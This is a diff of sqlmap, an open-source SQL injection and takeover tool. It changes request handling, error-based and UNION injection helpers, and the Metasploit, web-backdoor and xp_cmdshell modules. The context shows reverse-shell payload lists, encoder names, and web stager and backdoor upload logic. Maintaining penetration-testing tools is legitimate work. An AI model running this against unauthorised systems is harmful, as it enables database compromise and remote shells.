# Get HTTP response
|
||||||
if hasattr(conn, "redurl"):
|
if hasattr(conn, "redurl"):
|
||||||
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
|
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
|
||||||
else Connect._connReadProxy(conn)) if not skipRead else None
|
|
||||||
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
|
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
|
||||||
code = conn.redcode
|
code = conn.redcode
|
||||||
else:
|
else:
|
||||||
@@ -684,6 +683,9 @@ class Connect(object):
|
|||||||
status = re.search(r"Handshake status ([\d]{3})", tbMsg)
|
status = re.search(r"Handshake status ([\d]{3})", tbMsg)
|
||||||
errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown"
|
errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown"
|
||||||
raise SqlmapConnectionException(errMsg)
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
elif "SqlmapCompressionException" in tbMsg:
|
||||||
|
warnMsg = "problems with response (de)compression"
|
||||||
|
retrying = True
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to connect to the target URL"
|
warnMsg = "unable to connect to the target URL"
|
||||||
|
|
||||||
@@ -719,7 +721,7 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
logger.debug(warnMsg)
|
logger.debug(warnMsg)
|
||||||
return Connect._retryProxy(**kwargs)
|
return Connect._retryProxy(**kwargs)
|
||||||
elif kb.testMode:
|
elif kb.testMode or kb.multiThreadMode:
|
||||||
logger.critical(warnMsg)
|
logger.critical(warnMsg)
|
||||||
return None, None, None
|
return None, None, None
|
||||||
else:
|
else:
|
||||||
@@ -862,7 +864,9 @@ class Connect(object):
|
|||||||
skip = True
|
skip = True
|
||||||
|
|
||||||
if not skip:
|
if not skip:
|
||||||
payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below
|
if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path)
|
||||||
|
value = urlencode(value, spaceplus=kb.postSpaceToPlus)
|
||||||
|
payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
|
||||||
value = agent.replacePayload(value, payload)
|
value = agent.replacePayload(value, payload)
|
||||||
postUrlEncode = False
|
postUrlEncode = False
|
||||||
|
|
||||||
@@ -932,9 +936,9 @@ class Connect(object):
|
|||||||
|
|
||||||
if value and place == PLACE.CUSTOM_HEADER:
|
if value and place == PLACE.CUSTOM_HEADER:
|
||||||
if value.split(',')[0].capitalize() == PLACE.COOKIE:
|
if value.split(',')[0].capitalize() == PLACE.COOKIE:
|
||||||
cookie = value.split(',', 1)[1]
|
cookie = value.split(',', 1)[-1]
|
||||||
else:
|
else:
|
||||||
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
|
auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
|
||||||
|
|
||||||
if conf.csrfToken:
|
if conf.csrfToken:
|
||||||
def _adjustParameter(paramString, parameter, newValue):
|
def _adjustParameter(paramString, parameter, newValue):
|
||||||
@@ -981,7 +985,7 @@ class Connect(object):
|
|||||||
if not conf.csrfUrl:
|
if not conf.csrfUrl:
|
||||||
errMsg += ". You can try to rerun by providing "
|
errMsg += ". You can try to rerun by providing "
|
||||||
errMsg += "a valid value for option '--csrf-url'"
|
errMsg += "a valid value for option '--csrf-url'"
|
||||||
raise SqlmapTokenException, errMsg
|
raise SqlmapTokenException(errMsg)
|
||||||
|
|
||||||
if token:
|
if token:
|
||||||
token = token.strip("'\"")
|
token = token.strip("'\"")
|
||||||
@@ -1039,7 +1043,7 @@ class Connect(object):
|
|||||||
name = safeVariableNaming(name)
|
name = safeVariableNaming(name)
|
||||||
elif name in keywords:
|
elif name in keywords:
|
||||||
name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX)
|
name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX)
|
||||||
value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus))
|
value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
|
||||||
variables[name] = value
|
variables[name] = value
|
||||||
|
|
||||||
if cookie:
|
if cookie:
|
||||||
@@ -1261,7 +1265,11 @@ class Connect(object):
|
|||||||
page = removeReflectiveValues(page, payload)
|
page = removeReflectiveValues(page, payload)
|
||||||
|
|
||||||
kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
|
kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
|
||||||
kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
|
|
||||||
|
message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I)
|
||||||
|
if message:
|
||||||
|
kb.permissionFlag = True
|
||||||
|
singleTimeWarnMessage("potential permission problems detected ('%s')" % message)
|
||||||
|
|
||||||
if content or response:
|
if content or response:
|
||||||
return page, headers, code
|
return page, headers, code
|
||||||
@@ -1271,5 +1279,5 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
return comparison(page, headers, code, getRatioValue, pageLength)
|
return comparison(page, headers, code, getRatioValue, pageLength)
|
||||||
|
|
||||||
def setHTTPHandlers(): # Cross-linked function
|
def setHTTPHandlers(): # Cross-referenced function
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|||||||
@@ -48,7 +48,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
|
|||||||
|
|
||||||
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
||||||
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
||||||
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
|
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
|
||||||
for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
|
for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
|
||||||
try:
|
try:
|
||||||
sock = create_sock()
|
sock = create_sock()
|
||||||
|
|||||||
@@ -175,10 +175,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
|
|||||||
# forge the SQL limiting the query output one entry at a time
|
# forge the SQL limiting the query output one entry at a time
|
||||||
# NOTE: we assume that only queries that get data from a table
|
# NOTE: we assume that only queries that get data from a table
|
||||||
# can return multiple entries
|
# can return multiple entries
|
||||||
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
|
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
|
||||||
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
|
|
||||||
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
|
|
||||||
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
|
|
||||||
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
|
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
|
||||||
|
|
||||||
if limitCond:
|
if limitCond:
|
||||||
|
|||||||
@@ -19,4 +19,3 @@ def getPageTemplate(payload, place):
|
|||||||
retVal = kb.pageTemplates[(payload, place)]
|
retVal = kb.pageTemplates[(payload, place)]
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
|||||||
@@ -172,9 +172,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
|
|||||||
inject.goStacked(expression)
|
inject.goStacked(expression)
|
||||||
|
|
||||||
# TODO: add support for PostgreSQL
|
# TODO: add support for PostgreSQL
|
||||||
#elif Backend.isDbms(DBMS.PGSQL):
|
# elif Backend.isDbms(DBMS.PGSQL):
|
||||||
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
|
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
|
||||||
# inject.goStacked(expression)
|
# inject.goStacked(expression)
|
||||||
|
|
||||||
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
|
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
|
||||||
self._initRunAs()
|
self._initRunAs()
|
||||||
|
|||||||
+54
-50
@@ -81,6 +81,7 @@ class Metasploit:
|
|||||||
_ = normalizePath(os.path.join(_, ".."))
|
_ = normalizePath(os.path.join(_, ".."))
|
||||||
if _ == old:
|
if _ == old:
|
||||||
break
|
break
|
||||||
|
|
||||||
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
|
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
|
||||||
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
|
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
|
||||||
self._msfEncode = "ruby %s" % self._msfEncode
|
self._msfEncode = "ruby %s" % self._msfEncode
|
||||||
@@ -88,60 +89,60 @@ class Metasploit:
|
|||||||
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
|
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
|
||||||
|
|
||||||
self._msfPayloadsList = {
|
self._msfPayloadsList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ("Meterpreter (default)", "windows/meterpreter"),
|
1: ("Meterpreter (default)", "windows/meterpreter"),
|
||||||
2: ("Shell", "windows/shell"),
|
2: ("Shell", "windows/shell"),
|
||||||
3: ("VNC", "windows/vncinject"),
|
3: ("VNC", "windows/vncinject"),
|
||||||
},
|
},
|
||||||
"linux": {
|
"linux": {
|
||||||
1: ("Shell (default)", "linux/x86/shell"),
|
1: ("Shell (default)", "linux/x86/shell"),
|
||||||
2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
|
2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
self._msfConnectionsList = {
|
self._msfConnectionsList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
|
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
|
||||||
2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
|
2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
|
||||||
3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
|
3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
|
||||||
4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
|
4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
|
||||||
5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
|
5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
|
||||||
},
|
},
|
||||||
"linux": {
|
"linux": {
|
||||||
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
|
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
|
||||||
2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
|
2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
self._msfEncodersList = {
|
self._msfEncodersList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ("No Encoder", "generic/none"),
|
1: ("No Encoder", "generic/none"),
|
||||||
2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
|
2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
|
||||||
3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
|
3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
|
||||||
4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
|
4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
|
||||||
5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
|
5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
|
||||||
6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
|
6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
|
||||||
7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
|
7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
|
||||||
8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
|
8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
|
||||||
9: ("Non-Alpha Encoder", "x86/nonalpha"),
|
9: ("Non-Alpha Encoder", "x86/nonalpha"),
|
||||||
10: ("Non-Upper Encoder", "x86/nonupper"),
|
10: ("Non-Upper Encoder", "x86/nonupper"),
|
||||||
11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
|
11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
|
||||||
12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
|
12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
|
||||||
13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
|
13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
self._msfSMBPortsList = {
|
self._msfSMBPortsList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ("139/TCP", "139"),
|
1: ("139/TCP", "139"),
|
||||||
2: ("445/TCP (default)", "445"),
|
2: ("445/TCP (default)", "445"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
self._portData = {
|
self._portData = {
|
||||||
"bind": "remote port number",
|
"bind": "remote port number",
|
||||||
"reverse": "local port number",
|
"reverse": "local port number",
|
||||||
}
|
}
|
||||||
|
|
||||||
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
||||||
if Backend.isOs(OS.WINDOWS):
|
if Backend.isOs(OS.WINDOWS):
|
||||||
@@ -484,10 +485,13 @@ class Metasploit:
|
|||||||
|
|
||||||
send_all(proc, "use espia\n")
|
send_all(proc, "use espia\n")
|
||||||
send_all(proc, "use incognito\n")
|
send_all(proc, "use incognito\n")
|
||||||
# This extension is loaded by default since Metasploit > 3.7
|
|
||||||
#send_all(proc, "use priv\n")
|
# This extension is loaded by default since Metasploit > 3.7:
|
||||||
# This extension freezes the connection on 64-bit systems
|
# send_all(proc, "use priv\n")
|
||||||
#send_all(proc, "use sniffer\n")
|
|
||||||
|
# This extension freezes the connection on 64-bit systems:
|
||||||
|
# send_all(proc, "use sniffer\n")
|
||||||
|
|
||||||
send_all(proc, "sysinfo\n")
|
send_all(proc, "sysinfo\n")
|
||||||
send_all(proc, "getuid\n")
|
send_all(proc, "getuid\n")
|
||||||
|
|
||||||
|
|||||||
@@ -33,19 +33,19 @@ class Registry:
|
|||||||
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
|
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
|
||||||
|
|
||||||
self._batRead = (
|
self._batRead = (
|
||||||
"@ECHO OFF\r\n",
|
"@ECHO OFF\r\n",
|
||||||
readParse,
|
readParse,
|
||||||
)
|
)
|
||||||
|
|
||||||
self._batAdd = (
|
self._batAdd = (
|
||||||
"@ECHO OFF\r\n",
|
"@ECHO OFF\r\n",
|
||||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
|
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
|
||||||
)
|
)
|
||||||
|
|
||||||
self._batDel = (
|
self._batDel = (
|
||||||
"@ECHO OFF\r\n",
|
"@ECHO OFF\r\n",
|
||||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
|
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
|
||||||
)
|
)
|
||||||
|
|
||||||
def _createLocalBatchFile(self):
|
def _createLocalBatchFile(self):
|
||||||
self._batPathFp = open(self._batPathLocal, "w")
|
self._batPathFp = open(self._batPathLocal, "w")
|
||||||
|
|||||||
+10
-7
@@ -47,6 +47,8 @@ from lib.core.enums import WEB_API
|
|||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
|
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
|
||||||
from lib.core.settings import EVENTVALIDATION_REGEX
|
from lib.core.settings import EVENTVALIDATION_REGEX
|
||||||
|
from lib.core.settings import SHELL_RUNCMD_EXE_TAG
|
||||||
|
from lib.core.settings import SHELL_WRITABLE_DIR_TAG
|
||||||
from lib.core.settings import VIEWSTATE_REGEX
|
from lib.core.settings import VIEWSTATE_REGEX
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from thirdparty.oset.pyoset import oset
|
from thirdparty.oset.pyoset import oset
|
||||||
@@ -110,10 +112,10 @@ class Web:
|
|||||||
|
|
||||||
if self.webApi in getPublicTypeMembers(WEB_API, True):
|
if self.webApi in getPublicTypeMembers(WEB_API, True):
|
||||||
multipartParams = {
|
multipartParams = {
|
||||||
"upload": "1",
|
"upload": "1",
|
||||||
"file": stream,
|
"file": stream,
|
||||||
"uploadDir": directory,
|
"uploadDir": directory,
|
||||||
}
|
}
|
||||||
|
|
||||||
if self.webApi == WEB_API.ASPX:
|
if self.webApi == WEB_API.ASPX:
|
||||||
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
|
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
|
||||||
@@ -134,7 +136,7 @@ class Web:
|
|||||||
|
|
||||||
def _webFileInject(self, fileContent, fileName, directory):
|
def _webFileInject(self, fileContent, fileName, directory):
|
||||||
outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
|
outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
|
||||||
uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
|
uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
|
||||||
query = ""
|
query = ""
|
||||||
|
|
||||||
if isTechniqueAvailable(kb.technique):
|
if isTechniqueAvailable(kb.technique):
|
||||||
@@ -257,6 +259,7 @@ class Web:
|
|||||||
directories = list(oset(directories))
|
directories = list(oset(directories))
|
||||||
|
|
||||||
path = urlparse.urlparse(conf.url).path or '/'
|
path = urlparse.urlparse(conf.url).path or '/'
|
||||||
|
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
|
||||||
if path != '/':
|
if path != '/':
|
||||||
_ = []
|
_ = []
|
||||||
for directory in directories:
|
for directory in directories:
|
||||||
@@ -324,7 +327,7 @@ class Web:
|
|||||||
|
|
||||||
with open(filename, "w+b") as f:
|
with open(filename, "w+b") as f:
|
||||||
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
|
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
|
||||||
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
|
_ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
|
||||||
f.write(_)
|
f.write(_)
|
||||||
|
|
||||||
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
|
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
|
||||||
@@ -369,7 +372,7 @@ class Web:
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
_ = "tmpe%s.exe" % randomStr(lowercase=True)
|
_ = "tmpe%s.exe" % randomStr(lowercase=True)
|
||||||
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
|
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
|
||||||
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
|
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
|
||||||
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
|
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
|
||||||
self.webDirectory = backdoorDirectory
|
self.webDirectory = backdoorDirectory
|
||||||
|
|||||||
@@ -214,7 +214,7 @@ class XP_cmdshell:
|
|||||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||||
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
|
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
|
||||||
|
|
||||||
if (output is None) or len(output)==0 or output[0] is None:
|
if (output is None) or len(output) == 0 or output[0] is None:
|
||||||
output = []
|
output = []
|
||||||
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||||
|
|
||||||
|
|||||||
@@ -611,7 +611,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
# If we had no luck with commonValue and common charset,
|
# If we had no luck with commonValue and common charset,
|
||||||
# use the returned other charset
|
# use the returned other charset
|
||||||
if not val:
|
if not val:
|
||||||
val = getChar(index, otherCharset, otherCharset==asciiTbl)
|
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
||||||
else:
|
else:
|
||||||
val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
|
val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
|
||||||
|
|
||||||
|
|||||||
+14
-16
@@ -133,20 +133,23 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
|||||||
|
|
||||||
# Parse the returned page to get the exact error-based
|
# Parse the returned page to get the exact error-based
|
||||||
# SQL injection output
|
# SQL injection output
|
||||||
output = reduce(lambda x, y: x if x is not None else y, (\
|
output = reduce(lambda x, y: x if x is not None else y, (
|
||||||
extractRegexResult(check, page), \
|
extractRegexResult(check, page),
|
||||||
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \
|
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
|
||||||
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), \
|
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
|
||||||
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \
|
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)),
|
||||||
None)
|
None
|
||||||
|
)
|
||||||
|
|
||||||
if output is not None:
|
if output is not None:
|
||||||
output = getUnicode(output)
|
output = getUnicode(output)
|
||||||
else:
|
else:
|
||||||
trimmed = extractRegexResult(trimcheck, page) \
|
trimmed = (
|
||||||
or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \
|
extractRegexResult(trimcheck, page) or
|
||||||
or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) \
|
extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or
|
||||||
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
|
extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) or
|
||||||
|
extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
|
||||||
|
)
|
||||||
|
|
||||||
if trimmed:
|
if trimmed:
|
||||||
if not chunkTest:
|
if not chunkTest:
|
||||||
@@ -308,12 +311,7 @@ def errorUse(expression, dump=False):
|
|||||||
# entry at a time
|
# entry at a time
|
||||||
# NOTE: we assume that only queries that get data from a table can
|
# NOTE: we assume that only queries that get data from a table can
|
||||||
# return multiple entries
|
# return multiple entries
|
||||||
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
|
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
|
||||||
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
|
|
||||||
or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
|
|
||||||
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
|
|
||||||
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
|
|
||||||
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
|
|
||||||
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
|
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
|
||||||
|
|
||||||
if limitCond:
|
if limitCond:
|
||||||
|
|||||||
@@ -48,15 +48,15 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||||||
"""
|
"""
|
||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
def _orderByTechnique():
|
def _orderByTechnique(lowerCount, upperCount):
|
||||||
def _orderByTest(cols):
|
def _orderByTest(cols):
|
||||||
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
|
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
|
||||||
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
|
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
|
||||||
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
|
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
|
||||||
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
|
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||||
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
|
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
|
||||||
|
|
||||||
if _orderByTest(1) and not _orderByTest(randomInt()):
|
if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
|
||||||
infoMsg = "'ORDER BY' technique appears to be usable. "
|
infoMsg = "'ORDER BY' technique appears to be usable. "
|
||||||
infoMsg += "This should reduce the time needed "
|
infoMsg += "This should reduce the time needed "
|
||||||
infoMsg += "to find the right number "
|
infoMsg += "to find the right number "
|
||||||
@@ -64,10 +64,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||||||
